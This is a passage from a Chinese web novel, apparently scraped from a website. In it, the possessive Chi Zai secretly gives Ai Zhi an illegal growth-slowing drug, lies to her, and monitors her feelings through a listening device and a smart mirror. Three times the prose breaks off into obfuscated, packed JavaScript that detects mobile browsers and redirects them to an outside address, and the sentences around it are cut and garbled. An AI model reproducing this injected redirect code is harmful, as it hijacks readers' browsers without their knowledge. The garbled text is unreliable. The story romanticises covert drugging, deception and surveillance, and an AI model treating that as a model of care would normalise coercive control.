迟家有专门的医疗团队，且有机器用人的存在，身体大小病症几乎不成问题。迟载显然不会惊动迟家，更不会找除小伽以外的机器用人，这药只可能不是什么正儿八经的渠道弄来的。 要是没有医药许可证，这药就存在一定危险性。贝器时代的人类所用药全部都会通过各区的医药署进行实验测试，确认对人体无害，才会发放各区。虽然小伽并未检测出对人体有害的成分，但是药三分毒，艾知身体现在这么虚弱，小伽不得不多留些心。 迟载抬起那双透着冷意的黑瞳，不带任何感情。 虽然小伽相信他的主人不会害艾知，但这药，他并不敢真的就让艾知吃下。 “小爱小姐现在的身体状况……我担心她无法负担这药的作用。” 艾知的房间传来一阵异响，像是有什么东西坠落在地。 “我只想她好好的。”迟载抛下这句话转身就进了艾知的房间。 一进来，便看到艾知迷迷瞪瞪地坐在地上，正想起身往床上爬。 迟载叹了一口气，刚刚因小伽的怀疑而激起的戾气消失殆尽，架住艾知的胳膊，将她抱上了床。 身体忽然的天旋地转，随后又落入男人的怀抱，继而又被放在床上，睡太多而晕乎乎的艾知更是无力，睁着一双下垂的狗狗眼，脑子半天反应不过来，只呆愣愣地看着迟载。 原本还在内疚把艾知带过来损害了她身体，见到这样无辜又让人心软的表情，一下子就将这样的想法抛之脑后。 别人能照顾的好艾知吗？能有人像他这么爱艾知吗？做完排除法后，迟载更加笃信全世界只有自己对艾知好，艾知能依靠的只有他。 “小懒虫，在我离开后睡这么久。”迟载坐在床边，替艾知重新掖好被角。被子是高级蚕丝做的，几乎感受不到重量，可迟载仍觉得艾知用的东西不够好。 两人共同生活了近三年，迟载故意给她养的娇憨，什么好的贵的都拿给她，艾知也如他所愿，对他没了最初的小心谨慎，心安理得享受迟载赠予的温柔和宠爱。 艾知终于恢复了点精神：“不知道为什么我总是好困，提不起精神。”她指了指自己的胸口说道，“不知道为什么这里跳得很快。” 迟载当然清楚原因，但他选择了谎言：“睡觉姿势不好，压到了心脏，所以不舒服也是正常的。” 艾知想到自己睡得都滚下了床，睡觉肯定不老实，所以没再想太多。她见小伽徘徊在卧室门口，迟疑着不进来，心生好奇：“小伽你怎么不进来啊？” 迟载的眼神扫过去，小伽明白这是在警告他不许多说。进退两难下，小伽最终还是硬着头皮进来，端着药和水，走到艾知床边。 迟载根本没给小伽开口的机会，接过水杯和胶囊，送到艾知身前，轻声哄骗道：“这是我找医生给你开的安神药，你吃了它会好受点。” 艾知完全没怀疑，直接就将胶囊吞了下去，将空杯子还给了迟载。 迟载本来打了一肚子草稿，防止艾 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从前迟载给的理由是艾知是被他冒着触犯法律偷偷带过来的，所以看病吃药都只能由小伽接手。刚刚迟载在这儿，她担心自己问这些会让迟载伤心，觉得她不信任他，等迟载走了，她才敢悄悄问小伽。 小伽心里慌的不得了，艾知都把药吃了才问，他怎么敢背弃主人，说这是来路不明，他都不知道来源的药呢？况且艾知的存在本就是禁忌，若是被迟载小心养在这儿也没什么，但凡让外人知道，迟载本人受罚不说，还会连累整个迟家，影响迟恩的位置，也对迟载将来的仕途不利。 “啊，因为我不擅长配制安神的药丸和胶囊，所以主人就以他自己的名义找医生开了药。”小伽有样学样，跟迟载一道骗了单纯的艾知。 “哦，不是我可以出门的意思啊。”艾知的语气充满了沮丧。 小伽自然懂艾知的意思，但眼下艾知能够健康地按照正常人类生命发展轨迹活着已是不易，所以能否被外界接纳并不是当前他们要考虑的事。小伽没再像以前那般善解人意，而是避重就轻，说起其他话题：“小爱小姐，我最近读了一本新小说，你想看看吗？” “不了，我想自己看书。小伽辛苦你帮我拿一本植物志吧。”尽管希望的火苗被扑灭，艾知也没太过悲伤，她很快想通，小识哥哥对她这么好，不给他添麻烦就是她的第一目标，其次就是帮小识哥哥照顾好花园的植物。 贝器时代的泥土受到前几个世纪科技战争的污染，不太适宜种植，很多植物灭绝。剩下存活着的植物都靠着宝贵的干净的有机高能黑土，因为能栽培得起植物的也只能是钟鸣鼎食之家。 此刻，迟载的书房内。 艾知同小伽的对话一字不落地通过传听器在耳边播放，迟载面无表情地跷腿坐在椅子上，盯着静音悬空时表的指针旋转。 想出去是吗…… 15. 第 15 章 迟载白天要回首辅宫任职，不能陪艾知，现在艾知离不开人照顾，小伽就顺道留了下来。他们又回到了艾知刚到24世纪的相处模式。 不过这一次，小伽不再需要担任艾知的家庭教师了，艾知在迟载的亲自教导下，知识储备已远超同龄学生。小伽发现迟载甚至连大学的部分课程都教授给了艾知。 艾知非常聪明，对高难度的课题把握的也足够好，比许多皇区大学的学生还要优秀。 唯一美中不足的是，迟载没有教授艾知机甲制造的理论知识，也没有带她实操，所以艾知不会驾驶舰船，也不会操控机甲，只懂一些简单机器的拆解和制作。 对于艾知而言，迟载既是兄长，又是老师，不上课的时候又是她的伙伴。 她所有的困扰，课业上的问题都可以找迟载解决，她信任他，也对迟载的一切决议无任何异议。所以只要一提起迟载，艾知的眼睛就亮晶晶的，饱含对迟载的尊敬和钦慕。 强者只会更加慕强，这一点在艾知身上展现得淋漓尽致。 小伽不懂迟载的用意，在贝器时代不会操控机甲，无异于不会飞翔的鸟，难道迟载只想豢养一只在笼中唤歌鸣唱的金丝雀吗？ 这一点在小伽提出想教艾知驾驶舰船，被迟载拒绝后，得到证明。 迟载对艾知的规划，含着某种不言而喻的欲望和占有，他送她锦衣华服，传授她丰盈的知识，打造她成为世家千金，唯独不让她学会飞翔的本事。 他要她生生世世住在他打造的金丝雀笼中，只为他一人歌鸣，他要她成为攀附生长的菟丝花，这辈子只能依附他生存。 迟载的操控欲在小伽看来已是病态，但他的初始指令就是听从主人的一切安排。他们机器用人生来就是为人类，为主人服务，他们被允许有自我思想，却不被允许违抗指令。 因为在每一个机器用人出厂之前，不仅要输入遵从主人命令的指令时，还会附带一条终结机器用人寿命的特殊指令—— 违抗指令者，将开启自我销毁模式。 机器人诞生之初是代替人类做精密或危险的工作，后来几百年的演变，人类呼吁自由和平等，五区一皇的体制一建立，不再雇佣人类做保姆，司机，佣人等服务类工作。 自此，机器人的名字多加了一个“用”。 艾知不知道小伽做了怎样的思想斗争，才认同他主人的病态掌控欲。她反倒很高兴小伽能继续跟他们一起住。 小伽在艾知心中地位不亚于迟载。不过她没说，她猜迟载知道了肯定会生气。 迟载带来的特效药很快起了作用，艾知的心脏恢复了正常的跳速，她的头发也不需要一周剪一次，维持在腰部刚刚好。小伽给她做完一次体检后，看到各项指标数值已经平稳，才彻底安心。 很快，艾知十八岁生日还有一天。迟载下班回家后，带回了一个礼盒。 艾知打开后，发现是一条流光溢彩的蓝色渐变长裙。裙子看不出针脚，就像天然形成的一样，在月光下闪烁着星光，美得好似银河。 艾知见到礼物很开心，小心抚摸裙摆，生怕指甲把衣服划破了。迟载很满意艾知的欣喜，俯下身，轻哄道：“让小伽帮你试穿一下，看看合不合身？” 女孩面带羞涩，微微点头，拉着小伽进了自己的卧室。 小伽想起以前艾知介意自己帮忙穿衣的事，刚想说要不要他回避一下，艾知就对他发出请求：“小伽你可以帮我吗？” 艾知的请求小伽不可能不答应，不过对比艾知前两年的态度转变，小伽心里惊了又惊，但想来她同迟载朝夕相处了好几年，一些习惯和想法肯定也随迟载潜移默化下改变了。 他犹豫着要不要换声线，少女就已经褪下了自己身上的衣裙，等待着小伽帮她穿上。 时间仿若真的能描摹一个人，成长期的少女一眨眼就变成了亭亭玉立的漂亮姑娘。 一个瞬间，18岁的少女与记忆里他曾窥探到的那位25岁女孩的身影重叠，两个人的脸都是同样的精致漂亮。迟载内心深藏的秘密在此刻昭然若揭。 小伽明白，这是一个男人见不得人的私欲与浓厚执着的暗恋。 迟载送艾知的裙子是没有拉链的贴身款式，穿脱都需要别人的帮忙，小伽在想如果他不在，这裙子是不是就需要迟载帮忙。 小伽一边想自己的主人应该没想太多，一边帮艾知穿裙子。有他的帮忙裙子很快穿好，腰线那块掐得刚刚好，艾知身形又匀称，曲线十分曼妙，尽显少女的娇俏与柔美。 “小爱小姐您真好看。”小伽又给艾知编了头发，将黑色微微带卷的顺滑头发用蓝色丝带和水钻侧绑在右边。一套打扮下来，艾知更加漂亮。 艾知天生丽质，面白唇红，不化妆就已经很好看了。她不说话，静静地坐在那，宛若一个瓷白的冷美人。小伽能想象的出来，艾知若是再大一点，一定会出落得更加漂亮清丽。 坐在镜子前的艾知盯着自己望了好一会儿，才开口道：“小伽，其实在我们那个年代，18岁就已经成年了。” 成年了就代表她已经长大了，不需要有人监护了。 小伽还在思索要不要给艾知上点腮红，随口就来：“我们这里年轻男女得要20岁才成年呐。” 艾知“嗯”了一声，撑着头看向镜中的自己，想到自己过15岁生日时，奶奶给自己梳头，说她18岁的时候肯定会更漂亮。可惜两个月后奶奶就因为突发的脑梗去世了。要是奶奶能见到自己成年的样子该多好啊。 少女不禁有些哀思，垂下眼皮，轻轻叹了口气。 “这么漂亮，还要叹气啊？”艾知突然抬头，对上镜中迟载那双深邃的眼睛，迟载单手搭在少女光裸的肩上，看向镜中的艾知，“是不是不满意我给你挑的裙子？” “不不不，我很喜欢。”艾知要起身，又被迟载按回椅子上。 “那我的小爱怎么唉声叹气呢？” “我……我想奶奶了。” “奶奶”这个词他已经很久都没听到了，他本以为这几年已经足够叫艾知忘记过去了。迟载顶了一下上颚，有些不满，但不悦也只是稍纵即逝，他很快恢复往常温柔又体贴的样子。 “看来是我照顾得还不够好，让我们小爱又想奶奶了。” 艾知有点着急，不想被迟载误解，于是慌忙解释：“不是的，哥哥和奶奶不一样！” “哦？是怎么个不一样？”迟载另只手也扶上少女的肩，若有似无地轻捏着。 女孩被大手桎梏着，感觉到男人的气息越来越重。她无奈于自己嗅觉的灵敏，总是若有若无闻到迟载身上鸢尾花内敛而又朦胧的香味。 她总是忍不住地贪恋这种味道，好像闻一闻，她的心脏才会规律地跳动，身上的血液才不会灼烫，她的呼吸才能够平稳。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400128|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她是不是太不知羞了，为什么会这么迷恋一个成年男性身上的香味。 少女垂下了头。迟载的视角很容易看清艾知的面部表情，小伽原本想抹的腮红也用不上了，少女的脸颊早就绯红一片，连带着耳朵也是粉红色。 小伽努力不发出任何声响和动静，尽可能减弱自己的存在感，抬头想找个地方躲一下时，忽然与迟载那双冷漠的眸子对视上，小伽立刻心领神会，悄无声息地溜了出去。 虽说据他对他主人迟载的了解，他应该不至于那么禽兽，要对这么小的姑娘下手，但一想到艾知说她们那里18岁就成年了，小伽又火速折回头去了艾知的房间。 说到底，小伽还是对迟载不放心。 迟载他现在对小爱小姐的心思越来越不遮掩，经常逗得小爱小姐羞红脸…… 尽管他家公子外貌和家世都是一顶一的好，配小爱小姐绰绰有余，但小爱小姐还那么单纯可爱。小伽心里还是毛毛的。 在小伽心里，现在单纯可爱的艾知已经远超他那捉摸不透，时常像冰坨，又像熔岩的年轻主人的地位了。就算迟载想做什么，他也要守护小爱小姐到20岁成年。 刚要进去，小伽想到迟载那阴鸷的，充满占有欲的眼神，打了个哆嗦。如果他现在冒冒失失闯进来，迟载一定会立刻把他送去报废区。 小伽急得在外面来回蹦跶，忽然急中生智，想到了一个好主意…… 卧室内。 艾知仍在被迟载“胁迫”着说出怎么个不一样，但女孩坚决不肯说出心里埋藏许久的秘密。 她思念奶奶是源于亲情，她想念迟载，完全是因为悸动的少女心事。 她也不知道自己从什么时候开始就对迟载藏了不一样的心思。 也许是迟载无微不至地照顾自己，也许是迟载为自己包的第一顿饺子，也许是迟载带自己看星星的那一晚，也许是迟载告诉她他是她永远的家人那一刻开始…… 但是她怎么能将这样一份心思告诉他呢？ 艾知总觉得迟载也是喜欢她的，但她也不敢确定，她没有兄弟姐妹，她不知道正常的兄妹间是不是这样相处，更不知道恋人之间是如何亲昵。 狡猾如迟载，在艾知面向她面前的这面镜子时，她的心事就被这面看似普通的智能镜子如实刻入表情数据库。她的所有想法，只要照过这面镜子，迟载都能知晓。 包括艾知心中那如青梅般稚嫩又酸涩的情感。 他没有继续为难艾知，而是松开艾知，装作兄长般慈爱地揉了一把艾知的脑袋。 “明天你生日，哥哥带你出去玩。” 亲密暧昧忽然转变成了克制疏离，艾知愣了神，但女孩没有表现出来，但她的微表情早就出卖了她的心。她点点头，说了句“好”。 “小爱小姐，到吃药时间啦！” 门外小伽礼貌的扣门声响起。 为避免被迟载发现她的小心思，艾知急急忙忙从迟载身边跑开，裙摆随着她的跑动而舞动成绽开的花瓣，一朵朵开在迟载心尖。 看向她身影的时候，迟载忍不住笑了两声。为着这少女情怀，又为着他守得云开见月明。 见艾知完整无坏地开了门，小伽才放下心，为自己的聪明机智感到无比自豪。 他炫耀般举起托盘，像献宝似的将迟载带来的药呈给艾知：“小爱小姐，我给你拿药来啦！赶紧吃吧！” 16. 第 16 章 昨日迟载已和艾知约好，要带她出去过18岁。 这是继艾知来这里后，为数不多的几次外出。 艾知很兴奋，一整晚都没睡好，早上小伽给她装扮的时候，她还止不住地打哈欠。 打扮完毕，艾知来了餐厅，发现她的位置上摆了一碗长寿面。 小伽反倒有些不好意思，绞着手指缓解紧张。 “我调查了一下三百年前父母们怎么给孩子过生日，长辈们会在早餐的时候给孩子煮一碗面条，寓意长寿安康。” 小伽扭扭捏捏的，“这是我陪小爱小姐度过的第一个生日，希望你能够开心。” 然后像是变戏法似的，从背后掏出一个粉色的小礼盒，打开后放到艾知手上。 “这是转运珠，希望它能给你带来好运。小爱小姐，生日快乐。” 希望你不仅生日是快乐的，日日都要幸福快乐。 艾知望着盒子里用银线编织，闪着金光的转运珠，感动得不知道说什么好。 她一把抱住小伽，摸了摸他圆乎乎的脑壳：“谢谢你小伽，我特别喜欢你为我准备的这两个礼物，长寿面我一定吃得干干净净，转运珠我也立刻戴上。得到你的祝福，我觉得我很幸福。” 小伽帮艾知系好转运珠，最近她瘦的厉害，细线在缠了两圈才挂上。金珠就像枚太阳，四周均是围绕它的银色的小星星。 艾知一边吃面一边跟小伽探讨迟载待会会带她去哪里玩。虽然她穿着这条礼服裙子，参加什么户外运动显然不合适，所以小伽猜迟载会带她去哪个高级又浪漫的餐厅。 此时，迟载开了餐厅的门走进来。 一进来，就惊呆了正在说笑的两个人。 迟载平常穿着十分低调，不是工作制服，就是适合出行的便衣装扮。额前碎发会盖住眉毛，遮挡部分冷厉的眉眼，今天他特意露出了额头，浓颜立体的骨相立刻显现出来。 艾知头一次感受到一个男人的好看也是可以具备攻击性和凌冽惊艳的。 “小识哥哥好帅啊。” 女孩情不自禁的小声嘀咕被迟载听到，他不太明显地弯了弯嘴角，心情非常愉悦。 “我什么时候不好看。”迟载拍拍还在发愣的艾知的后脑勺，“快吃，面要凉了。” 靠近自己，艾知才发现迟载身上的衣服和自己是一套，两人站一起很像……情侣装。 干嘛啊，被误会了怎么办？为什么要和她穿那么像？艾知心里面既紧张又有点小雀跃，她真有点拿捏不住迟载心里是怎么想的了。 小伽给艾知煮了许多面，因为身体的缘故，艾知只吃了二分之一就吃不下了。迟载说他不吃早餐，所以小伽没给他盛面。 望着还剩一半的面碗，艾知叹了口气，揉了揉胃，明明答应小伽要吃干净，结果剩一半吃不下了。 “我丝巾落卧室了，帮我取一下。” 迟载支开小伽，坐到忧愁的艾知身旁，笑着看向她：“怎么了？” “吃不下了。”艾知等小伽不在，才敢说真话。她感觉自己再多吃一口，她的胃连同裙子就要被撑爆了。 “哦，这可怎么办呢？小伽知道了会伤心的。”迟载仍在笑，手撑在艾知的椅背上，不放过艾知的任何表情。 如果你求我，我就帮你。迟载心想。 艾知哪里知道迟载的心思，她揉着胃，委屈巴巴的，又瞅了眼餐厅的门，担心小伽很快就过来了。 “我房间没有放丝巾。” 嗯？什么意思？艾知猛的抬头看向迟载。卧室没有丝巾，所以他是故意支开小伽的？ 男人那双眼睛漾着笑意，一瞬不瞬地盯着她。 可是支开有什么用，迟载又不能帮她把胃变大。艾知还是小小地叹了口气，嘟囔着想要不再吃几口。 女孩无意识撅起嘴巴的样子惹得迟载的心像被羽毛剐蹭了两下，痒但是挠不着，很快就如蜻蜓点水般消失，但挑起的波纹却仍有持续不断的涟漪。 太阳穴的青筋抽动了两下，迟载无可奈何地在心中喟叹一声，端起碗，拾起艾知放在上面的筷子，挑起面吃了起来。 原想着逗弄一下艾知，逼她求自己，现在反倒自己先主动让步了。 艾知完全没料到迟载会吃自己剩下的东西，反应过来后，脑瓜子嗡嗡的，全身的血液好像都涌到脸上，烧的她只想拿面碗把自己脸扣住。 可惜面碗在迟载手里，当事人正斯斯文文吃着小伽做的面。刚吃完，掏出丝巾擦嘴角的时候，小伽跑了过来：“公子，我找了很久，丝巾不——” “哦，我忘记了，丝巾一直被我放在裤子口袋里。”迟载慢条斯理的，反倒是艾知一直红着脸低头不说话。 小伽见艾知面前的碗空了，一阵大喜，觉得迟载的药真的很管用，艾知食欲居然恢复了。为了哄艾知多吃点，他特地用老母鸡汤熬炖的，怕艾知吃了不消化，还放了山药和羊肚菌。 “太好了小爱小姐，你把这一整碗都吃了，未来一定健健康康，百事顺遂的。” “是啊，我们小爱一定会万事顺意的。”迟载笑眯眯地望向一旁的艾知，向艾知伸出手，“吃饱了吗？我们可以出发了吗？” 小伽的欣喜让艾知无地自容，心虚的要死。嘴上谢谢小伽，手早就搭上迟载的手，任由他牵着，被他带离了花园房子。 今天他们没乘L528号，迟载驾驶了一架更小型的舰船。 出家门的时候，艾知的胃还有些不舒服，但是许久不出门的兴奋盖过了身体的不适。 舰船很快停靠在舰船停泊区，迟载牵着艾知的手，扶着她下舰船。一出舱门，艾知就被眼前的景象震惊到了。 说是商场，实际上整座商场是建在海洋中，又或者说人类将海洋搬到了城市的商场中。走在大理石砖的地面上，抬头仰望，四周全是巨大的环形玻璃水缸，海洋生物便在其中遨游。 巨大的柱形水缸由自动扶梯环绕，乘电梯上去就能去各家商店购物娱乐。 阳光透过水缸，再折射进商场，银灰色的墙壁透着水面的波光粼粼，连洒在身上的光都是海水般清澈透亮的蓝色。 头顶有蓝鲸游过，发出空灵的低吟。鳐鱼从鱼群间穿过，从这一头又游向高处，直至从视野中消失。 艾知身上穿着的这身蓝色裙子，跟这里极为相衬，因为皮肤过白，仿佛都能看见胳膊上纤细的血管，连发丝都透着金光，透着一股高贵的神性。微风轻拂，额间碎发被吹动，露出了清亮的眉眼。 艾知仰头欣赏着海景，殊不知自己与海景早就成了迟载眼中最美的风景。 “宝贝，你比塞壬还美。” 艾知并未注意前面的称谓，也未在意男人眼中的痴迷般的欣赏，只听到了“塞壬”二字，她好奇地问：“这么说，世界上真的存在人鱼吗？” 迟载没想到艾知竟会对人鱼这类不能存活在陆地的生物感兴趣，随口一答：“是的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16400129|184359||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 结果艾知更兴奋了：“我以为只是童话故事呢，没想到真的存在啊！” 艾知的那个时代各地就有许多起目睹人鱼踪迹的新闻，要不是视频和照片太糊，要么就是听目击者口述。因为没有真实证据表明确有人鱼，所以凡是报道目击人鱼的新闻都被说成是虚假报道，以讹传讹。 如今迟载这么一说，那人鱼确实存在，只是她那个时代的技术并不发达，人鱼又生活在深海，所以很难发现罢了。 艾知还想再问问人鱼的事，但迟载不喜欢艾知把过多的关注点放在他从来都瞧不上的人鱼那种生物上，于是用购物分散艾知的注意力。可惜被艾知拒绝了。 艾知从小就知道赚钱不容易，所以在日常能够保证吃饱穿暖下，她对于其他额外的物品是没有过多的需求的。 可能在十岁之前看见别的小孩有漂亮衣服和吃不完的零食会羡慕，但是看见奶奶佝偻着腰在小夜灯下纳鞋底贴补家用，艾知就不再想要了。 所以在面对迟载要给她买衣服和首饰的提议，她的第一想法还是拒绝。现在她不愁吃喝，想要什么都不用开口，迟载会直接送到她面前，她哪里还需要再买什么呢？ 迟载笑着没说话，牵起艾知的手，与她十指相扣：“那就到处走走吧。” 走着走着，他们就来到了一家珠宝店。 珠宝店内一个顾客也没有，甚至连店员也没有。 艾知担忧地环顾四周，问迟载：“这里没有人守着不怕有人来偷吗？” 迟载觉得艾知的问题很可爱，反倒问了她一个问题：“我们在外面的时候，你看到其他人了吗？” 刚来的时候全被海景吸引了目光，艾知还真没注意从开始这里就只有他们两个人。 慢慢地，一个想法浮出，艾知不敢置信地抬眸望向迟载。 男人向她点了点头，她更加确认心中想法——迟载把这里包场了！ “怎么样？喜欢吗？”迟载靠近她，故意将她引到一面落地镜子前。 两人的身影被镜子所容纳，艾知还在消化迟载将这一个巨大的海洋商场包场，只为了给她庆生的这件事情，没注意迟载将一条珍珠项链戴在艾知纤细的脖颈。 四颗水滴形的珍珠闪着光晕，中间是一枚被细小钻石包围的泛着亮蓝色的帕拉伊巴。 指尖的触碰和饰品的冰凉让艾知回过神来。 她知道，迟载一出手，送她的东西定是价格不菲。 但是他已经为她包场了整座商场，还送了她裙子，她怎么好意思再收这条项链呢。 “它很漂亮，所以它就该属于你。” 迟载低沉的气息晕在艾知的耳旁，他的嘴唇似有似无地擦过她的耳尖。 “我带你来这里就是让你得到一切的，所以你拥有再多我都嫌送你送少了。宝贝，你值得所有世间的好东西。” 我答应过你，会给你钱，也会给你想不到的爱。 这一次的“宝贝”她听清楚了，一个字，每一个吐音都落在她的心上，留下滚烫的痕迹。 少女的呼吸开始紊乱，她垂下头，不再去看镜子中的自己，妄图避开男人炙热的视线，她的心有些酥麻，感觉下一秒就要蹦出来了。 “哟，终于舍得带出来了？” 陌生的声音令艾知从小鹿乱撞的悸动中清醒，她意识到自己被迟载和小伽以外的第三个人发现了自己的存在。 艾知下意识就想逃。 17. 第 17 章 近距离的接触令迟载感受到了艾知的僵硬，虽不喜林赛这位“不速之客”的突然到访，但心中隐隐地对艾知面对生人的反应颇为满意。 她就该躲在他的巢穴中，躲在他的身后依偎着他。只有夜幕降临，夜深人静的时候，他才会考虑是否要带他的小宝贝出来看看。 艾知此刻已经非常紧张，躲在迟载的身后不敢吱声，像狐狸幼崽似的试图躲在成年狐狸的柔软膨大的尾巴下，祈求庇佑。 “乖，别怕。”迟载这只狐狸心中暗爽，挡在艾知身前，胳膊倒还朝后揽着她。 虽说提前跟林赛打过招呼，要他给这商场关闭，也没料到林赛会在这个时间闯入他与艾知的二人世界。 林赛这个人嘛，嘱咐他的事情，他一定会稳妥办到，但是替人办事之前，总要搞清楚自己给对方办的是什么事。 肖赫星是只管答应，闷头就去做，不多问，也没想过要问，而林赛是一定要问清原委，才决定要不要做。迟载则是不会过问，自己亲自去查，哪怕查到祖宗十八代发生的事，也不会叫当事人发现。 所以林赛算是肖赫星和迟载两个极端的过渡。 三个人中只有肖赫星是那个铁憨憨。 艾知的药也是林赛给解决的，他母亲是第二区医药署的署长，要个特效药什么的不是难事。 但艾知服用的减缓生长速度的药需要专业药剂师精良配置才可以最大程度消弱对人体的损害。 而且这种药违背了人类自然发展规律，属于一百年前就明确下令禁止的药物，搞到这种禁药着实需要花上点功夫。所以迟载对林赛坦诚布公，说了实情。 不过心思深沉的迟载还是隐瞒了部分。 比如他两次穿越时空，第一次穿越就遇到了25岁的艾知，并且在那个时候就想强迫艾知，把她带回来。 知道兄弟闷声干了这样一件违禁的大事，林赛当时震惊的差点一口气没提上来。 也不再因为失恋感春伤秋了，也不抱怨工作任务繁重回家还要被老子骂了，也不愁外祖家给自己找联姻对象了。 跟迟载这种能把亲老子赶下台的毁天灭地的不肖逆子比，他简直弱爆了。 “我确认一下……这事只有我一个人知道？” 得到肯定回答后，林赛的第二口气又差点提不上来了。 迟载连肖赫星也瞒着，合着就他林赛一个人知道迟载干了一件全家倒霉，自己要进警署被鞭笞，然后又要当众处罚的世纪禁事啊，合着他还要给帮忙解决兄弟小女友生命健康安全的难题啊。 林赛那一时那一刻无比后悔自己跟迟载是兄弟。 “晚了，在你说要做我的好朋友，我的好大哥的时候，就已经晚了。” 迟载这个万恶不赦，坑蒙拐骗妙龄少女的贼人看出了林赛的心理活动，在林赛发出抗议之前，率先拒绝了林赛。 是啊，要做好朋友是他林赛先提出来的。 当时迟载因为性格孤僻被其他孩子孤立，是他拉着还冒着鼻涕泡的肖赫星向迟载伸出了友谊的小手。 想跟迟载玩的原因其实很简单，因为他做的微型舰船很酷，飞得比所有孩子的都高，还不用特别复杂的程序设计。 算了，林赛决定吞下这口搬起石头砸自己的脚的气，谁叫当时在研习院读书的时候，迟载救了被困在出故障的作战机甲里的自己呢。 林赛就当这个比自己小一岁的迟载年轻气盛，为爱冲锋，不懂事吧。 找医药署的药剂师配药那是不可能的，林赛头痛之际想起了自己儿时看过的一位药师。那位药师原先是医药署最好的医师，后来自己研发了当时的禁药，被人告发，被当时的第二区首辅大臣罢免。 虽然他已对外宣称隐居，但找他看病的人络绎不绝。因为他的医术十分高明，偷偷请他看病已是上层圈子密而不谈的事，就连林赛小时候因为咳疾被带去找他看过。 这位药师的实情，迟载略有耳闻，如今一听林赛这样说，立刻下定决心去请这位。 这位药师当初为了避嫌，经常居无定所，听说最近这十年住在第三区边界线处，好像建立了自己的医药实验基地。 从林赛那儿得到具体住处后，迟载马不停蹄地赶往那个地方，见到药师后花了重金，求来了治艾知的特效药。虽知这药一定存在副作用，但迟载没有办法等了，为了让艾知多活命，他只能冒险。 艾知不知道她吃的“安神药”来的有多曲折，只为自己被陌生人发现了而忧愁害怕，她怕迟载和小伽受到牵连。 迟载受一丁点伤，她都要担心好久。自从发现艾知这点后，迟载做饭的时候就会经常出现一点小口子，然后故意让艾知看见，心安理得地享受艾知的“关心”和“体贴”。 “宝贝别怕，他不是坏人。” 面对迟载给自己的介绍，林赛很无语。 他长得一表人才，上学的时候迷倒万千少女，现在竟然被描述成“不是坏人”。 人姑娘是年轻，但也不是儿童吧。 迟载的安抚很有效果，听着迟载笃定的语气，艾知才慢吞吞从他身后走出来，低头说了句“你好，我是艾知”。 “啊，妹妹你好，我叫林赛，你也可以喊我林赛哥哥。” 林赛尽可能让自己的声音听起来和蔼可亲，他可比常年冷脸的迟载看上去更有亲和力一点，毕竟前女友就是觉得自己长得阳光开朗才答应跟他谈恋爱的。 这座商场是林赛的私人财产，以前不忙的时候，他也会包场请哥几个玩。但是迟载主动提出要包场，却是前所未闻。 迟家跟林家和肖家不同，私下产业虽有不少，但不会像他们两家这样明目张胆摆在明面上。不过掌握地球发展命脉的核能源和矿产资源都归属于迟家，且在五区中只有第二区盛产核能源和矿产，所以迟家的话语权在第二区乃至全球，都非常有分量。 除了迟恩的亲民政策，这也是迟恩能连续胜任第二区首辅大臣的重要原因。 富不外漏，财不外显，未来迟家还想培养迟载接触政务，为了不被人抓把柄，迟家所有人的出行和娱乐则是尽可能低调。 故而，迟载要比林赛和肖赫星这两位世家公子哥，要谨慎克制的多。 “这样吧，今天是艾知妹妹的生日，又是我们的第一次见面。中午我来请。” 少女抬头，望向身边牵住自己的男人，等他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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在研习院和皇区大学读书的时候，不是没有女孩鼓起勇气向迟载告白，但无一例外都被迟载无情拒绝，他冷漠的态度曾让肖赫星和林赛怀疑，他是不是性冷淡。 如今见到了艾知，林赛作为三人中的老大哥，也就放心了。艾知虽然年龄小了点，身份特殊了点，但能被迟载喜欢上，那也是很难得的。虽不知道两人是怎么以这么奇怪的身份生活了这么久，但是林赛再也不用担心迟载性冷淡了。 在迟载和小伽面前，艾知话挺多的，但是今天林赛在场，她就不怎么说话了，她都是默默地吃饭听林赛跟迟载谈论当今时政。 迟载之前教课的时候，跟她讲过地球后来的人类发展历史，以及现在各个区的社会文化概况，所以两人说的内容她也能听懂一二。 “艾知现在是18岁，是吗？” 突然被提，艾知立刻紧张起来，心脏开始扑通扑通地快速跳动，她的胃也跟着开始紧张。 “啊……是。我今天刚刚十八。”艾知乖巧如小学生，认真回答坐在对面的林赛的问题。 林赛家里有个小他十岁的妹妹，艾知的劲头竟有些像他妹妹。 不考虑艾知的出生年代，以艾知现在的年岁来看，的确应算他妹妹。妹妹过生，哥哥也得准备个礼物。 所以林赛借口先出去，留下艾知和迟载两人。 艾知这才稍稍放松下来，但是她的胃和心脏却没有丝毫的放松，反倒开始抽痛。 刚开始艾知还能忍受，到后来直接痉挛，痛到她握在手中的刀叉全都不受控地掉落。 在痛到仅存最后一丝意识之前，艾知看见的是迟载惊慌且放大的那张精致的眼睛…… 18. 第 18 章 “滴——” 尖锐的报鸣声刺痛了艾知的耳膜。 艾知的头昏昏沉沉，身体也绵软无力，她好想就这么昏睡下去，可大脑一直有个声音催促着她赶紧醒过来。 眼皮很沉，艾知努力了许久，才睁开一条缝。 